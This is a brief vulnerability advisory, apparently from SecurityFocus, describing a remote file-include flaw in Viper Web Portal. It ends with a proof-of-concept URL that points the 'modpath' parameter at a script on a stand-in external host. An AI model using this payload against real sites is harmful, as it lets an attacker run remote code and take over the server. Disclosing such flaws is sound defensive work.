source: https://www.securityfocus.com/bid/22979/info

Viper Web Portal is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?modpath=http://www.example2.com/evilscript?